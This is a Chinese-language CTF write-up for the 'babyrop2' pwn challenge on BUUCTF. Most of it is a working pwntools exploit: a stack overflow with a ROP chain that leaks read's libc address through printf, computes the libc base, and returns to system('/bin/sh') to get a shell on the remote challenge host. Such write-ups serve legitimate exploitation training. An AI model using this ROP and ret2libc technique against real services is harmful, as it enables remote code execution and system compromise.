1.检查保护机制
开启了堆栈不可执行
2.用64位IDA打开该文件
(1)shift+f12,查看关键字符串
(2)双击,ctrl+x,进入反汇编代码
(3)ROPgadget查看返回地址
(4)payload
payload = b'a'*(0x20+0x8) + p64(pop_rdi) + p64(format_) + p64(pop_r15) + p64(got_addr) + p64(0) + p64(plt_addr) + p64(main_addr)
1.‘a’*0x28–>造成溢出,覆盖到了返回地址
2.p64(pop_rdi)+p64(format_)–>我们在原本语句的返回地址上写入了pop_rdi,ret,pop_rdi,对应参数format_,执行后将formast_的值设置给了rdi,之后执行ret(返回指令)
3.p64(pop_rsi_r15)+p64(read_got)+p64(0)–> 我们将2中的ret写成了pop_rsi,pop_r15,ret;执行指令pop_rsi对应参数read_got,将rsi寄存器的值设置成了read函数的got表地址,pop_r15对应参数0,由于我们不用r15,随便设置一下它,我是设置成了0
4.p64(printf_plt)–>将3中的ret设置成printf函数的plt表地址,实际上就是printf函数的地址,去执行printf函数,输出我们设置的read函数的地址
5.p64(main_addr)–> 在完成第一次利用后,得到了程序内read函数的地址,知道了libc基址,我们需要重新回到程序开头,再次利用这个输入点去写入system‘(/bin/sh)’
(5)接收read函数地址
read_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
接收地址的基本上都是7个字节的,7f开头,补全8个字节
3.EXP
#encoding = utf-8
from pwn import*
#from LibcSearcher import*
context(os = 'linux',arch = 'i386',log_level = 'debug')
content = 0
elf = ELF("babyrop2")
lib = ELF("libc.so.6")
def main():
if content == 1:
p = process('babyrop2')
else:
p = remote('node4.buuoj.cn',27333)
main_addr = elf.sym['main']
got_addr = elf.got['read']
plt_addr = elf.plt['printf']
pop_rdi = 0x0400733
pop_r15 = 0x0400731
format_ = 0x0400770
ret_addr = 0x04004d1
payload = b'a' * (0x20+0x8) + p64(pop_rdi) + p64(format_) + p64(pop_r15) + p64(got_addr) + p64(0) + p64(plt_addr) + p64(main_addr)
p.recvuntil("What's your name? ")
p.sendline(payload)
write_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(write_addr))
#lib
lib_write = lib.symbols['read']
lib_system = lib.symbols['system']
lib_binsh = next(lib.search(b"/bin/sh"))
base_addr = write_addr - lib_write
system_addr = base_addr + lib_system
binsh_addr = base_addr + lib_binsh
payload = b'a'*(0x20+0x8) + p64(ret_addr)+ p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
p.recvuntil("What's your name? ")
p.sendline(payload)
p.interactive()
main()
查找flag位置
find -name 'flag'